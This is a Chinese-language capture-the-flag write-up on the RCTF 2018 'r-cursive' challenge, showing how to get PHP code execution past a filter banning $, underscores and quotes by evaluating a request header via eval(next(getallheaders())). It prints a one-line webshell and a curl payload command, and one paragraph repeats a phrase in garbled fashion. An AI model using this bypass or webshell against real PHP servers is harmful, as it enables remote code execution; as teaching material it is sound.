前言
在知识星球中看到这样一个题目,PHP5的环境下不允许用$,不能有下划线,不允许使用单引号,双引号,反引号,可以用任意字母和其他字符,怎么写一个webshell?
RCTF
这个让我想到之前在RCTF 2018的比赛中,看到这样的一道题,
<?php $token = sha1($_SERVER['REMOTE_ADDR']); $dir = '../sandbox/'.$token.'/'; is_dir($dir) ?: mkdir($dir); is_file($dir.'index.php') ?: file_put_contents($dir.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template'))); switch($_GET['action'] ?: ''){ case 'go': header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/'); break; case 'reset': system('rm -rf '.$dir); break; default: show_source(__FILE__); } ?>
访问?action=go
之后,我们会自动跳到属于自己ip的沙盒中,打开题目,我们就能看到源码
<?php sha1($_SERVER['REMOTE_ADDR']) === '99754106633f94d350db34d548d6091a' ?: die(); ';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
这里和上面的条件是非常相似的,也是禁止了下划线,和任意非单词字符。
测试
我们把这里的正则拿出来, 然后写脚本测试下
<?php $flag = preg_replace('/[^\W_]+\((?R)?\)/', '', $_GET['cmd']); var_dump(';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) );
我们写上一般正常的一句话木马
`/test.php?cmd=eval($_REQUEST[w]);`
可以看到,一般形态的webshell木马是不行的,会显示false。
可以看到这里根本就是禁止了$ 符号,无法进行利用。
可以看到如果不使用$符号就不会报错,就可以。
那有什么方法可以进行绕过呢?
绕过
百思不得其解,后来就想通了,就是可以不用使用的符号作为变量,那么有的同学就会问了,有什么方法可以不使用的符号作为变量,那么有的同学就会问了,有什么方法可以不使用的符号作为变量,那么有的同学就会问了,有什么方法可以不使用符号然后还能赋值?
其实在PHP中还有一个函数是getallheaders
这个是可以获取到整个Http头信息
<?php print_r(getallheaders());
整个Header头信息都打印出来了。
我们就可以指定Header中的头信息,加入我们的payload就可以绕过。
但是getallheaders()返回的是一个数组,eval函数里面传递数组是无法生效的。哪有什么方法能获取到数组里面的具体的键值呢?
还可以用一个函数next()函数,可以在函数将内部指针指向数组中的下一个元素,并输出
那么我们使用
eval(next(getallheaders()));
这种方式就可以绕过了上题的要求了,实现无$符号,无特殊字符,下划线的命令执行了。
那么配合上面的原题代码
<?php $flag = preg_replace('/[^\W_]+\((?R)?\)/', '', $_GET['cmd']); ';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : 0;
那么我们的绕过语句为:
`curl -H "User-Agent: echo(123);" -H "Accept: asdasd/asdasda" "http://localhost:85/test.php?cmd=eval(next(getallheaders()));`
至此,我们已经达到以绕过了上题的要求了,实现无$符号,无特殊字符,下划线的命令执行了。